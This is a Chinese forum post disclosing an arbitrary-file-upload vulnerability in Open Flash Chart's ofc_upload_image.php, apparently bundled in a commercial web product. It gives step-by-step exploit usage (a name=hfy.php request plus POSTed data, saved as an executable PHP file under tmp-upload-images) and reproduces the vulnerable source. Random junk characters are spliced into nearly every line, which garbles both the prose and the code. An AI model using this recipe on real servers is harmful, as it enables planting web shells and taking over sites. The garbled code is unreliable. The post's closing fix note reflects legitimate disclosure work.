POST 数据漏洞文件执行任意后缀文件保存# ], J' J- u% E" X
漏洞文件/chart/php-ofc-library/ofc_upload_image.php6 ~2 i. r1 ]3 z' ?
5 H) r' g" r8 `$ k: {3 K7 r2 ?3 e
利用:
; u( D" {) L, `9 N( T/ \/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名) p: z! Q- u! d; E5 ~# q
" q: A' u+ _6 C5 r; G. c1 HPost任意数据
8 {2 G; d0 [" u1 M5 x保存位置http://localhost/chart/tmp-upload-images/hfy.php9 {/ o+ L# h+ v; G X
0 Q8 i3 U0 w" t" W# L
. |# ?3 d* c; b4 c# C1 G. e+ g最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
2 \0 s7 v+ X4 k- F' |* L! |: ?. e3 V3 ]# U
<?php' Q; @! f- K; p
) J# b, P r* n/ T//
& y: O; N* j- E4 N// In Open Flash Chart -> save_image debug mode, you) V* P. ~- y8 I4 J+ F+ Q
// will see the 'echo' text in a new window.
( g' U9 o/ Z' `7 {% k# Y H//
/ T8 G; }1 p' e* A: f, M; Y6 w+ \# T$ l/ e
/*
5 Z/ U* k; i% s+ c: R1 }0 s7 t. l6 D2 J, U" W
print_r( $_GET );
4 z6 r$ o' m, |) Fprint_r( $_POST );
3 W% _+ K* r- y' s1 Y8 Vprint_r( $_FILES );' g3 ~& R9 S# ?& A
1 L. w( C" n3 ?4 f4 E7 i% a/ _; Cprint_r( $GLOBALS );
/ U4 H: [/ {; d1 ]4 C* x& Yprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
: R0 U- @1 ?6 m6 Z) _% W; I( _5 O- s2 s s* U5 S
*/9 F' r7 _( H& h1 C' q
// default path for the image to be stored //
* W! D; S) I( n: M( A' M1 D$default_path = '../tmp-upload-images/';6 e9 U- I6 }& ^+ s
: I" K1 `# A( N) M f& Z. W5 @if (!file_exists($default_path)) mkdir($default_path, 0777, true);. g8 q9 E8 h! |, D* ]
! V; C; P* N3 y& w! X) l3 C// full path to the saved image including filename //" S2 [& r) d* S. |: A
$destination = $default_path . basename( $_GET[ 'name' ] ); ( f' J- I4 S- l9 e
/ q2 A& P: U+ e" ], G8 M* Kecho 'Saving your image to: '. $destination;
, Z# Y0 m- l- S% Y& ~( \// print_r( $_POST );
$ }+ ~, k4 K( q. p// print_r( $_SERVER );
% J# r1 w8 V6 j/ e L- R( |// echo $HTTP_RAW_POST_DATA;, t" G: z3 Y) }3 J2 m& t
& w) M/ k; y" P1 _
//6 t, T0 p! |1 H
// POST data is usually string data, but we are passing a RAW .png
4 Q" }7 _/ o. C! y3 w0 v// so PHP is a bit confused and $_POST is empty. But it has saved
3 _" u2 D+ c. T" D) A2 @% A+ Z// the raw bits into $HTTP_RAW_POST_DATA9 G% D5 I. h0 Y$ O
//
0 E9 r; r! D6 [: @& y
3 h; M( k, A# }% P) E! R- ?$jfh = fopen($destination, 'w') or die("can't open file");( H$ }( p3 O% D0 }1 Z. J
fwrite($jfh, $HTTP_RAW_POST_DATA);
) V; G- A) I( f9 y7 B- U& \fclose($jfh);
, d" N, l9 x1 \! F0 z+ {
/ O+ |" ?& H5 Q7 [& R) P1 s//1 x5 R. k; D, L( I
// LOOK:. V2 F: Q- j( e: |$ ^
//) S$ h; I# c/ z( V( y
exit();
0 S* ?# U4 d! u+ Q+ A) `//
1 O3 v7 U3 s, ~3 G" @ S// PHP5:
2 f( ~2 y/ N* s$ U; V//, i. @- c3 ]0 m& O/ s" O
$ {8 C/ B4 M% c: Z: M5 s* o! z& f/ ^
- D9 b @7 P* p) T& f2 U: e% K% [// default path for the image to be stored //
' ]: {! Z( \0 ^$default_path = 'tmp-upload-images/';2 R) Q' R% G: X# n0 `
! l8 O2 N! x5 d T: M* h
if (!file_exists($default_path)) mkdir($default_path, 0777, true);( W( O2 N |+ B
: Y7 [5 x' {- m. H: O7 N// full path to the saved image including filename //
( u7 H# R* ~/ w1 q, l" B2 g$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 5 R: a6 a% f, g- h: ]; ? W$ o
0 w- J) y' N X' F// move the image into the specified directory //
9 }- ~& o5 ?9 l( Zif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
# h1 K% Y+ P+ M X0 n" y$ e1 ~ echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
0 i, J1 S' M; H( Q! F# R} else {
; e3 |* k$ W ^! F8 ~2 g4 o echo "FILE UPLOAD FAILED";
7 [9 f+ j$ B6 N' \& a* u}
& Y/ m B: m( `* O6 w
3 r8 D3 {' ~% k4 P4 ?
3 P' p1 L* c2 v0 p% k?>- u1 [6 w1 z* @
; h0 Y% a: m% G Q8 X' l2 ]- v
4 Z9 S+ X Y0 Z: j( i( ?
, F$ L+ b M4 V4 h) E" D
4 Z9 [1 D5 k5 W2 }& r9 u
) d. ~0 T. ]) W; [; Z, U$ y2 W
# {3 b' I+ @) _: o% {1 M修复方案:
# j/ ^7 J% y4 Q这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 ; y. N& i0 Y$ n3 F
9 M( U+ q& n" W H: [
* c# }) c* G. _4 p/ I, G/ V5 L% q6 Z' N! f
: G6 X9 @, a1 r8 ]2 k. S
|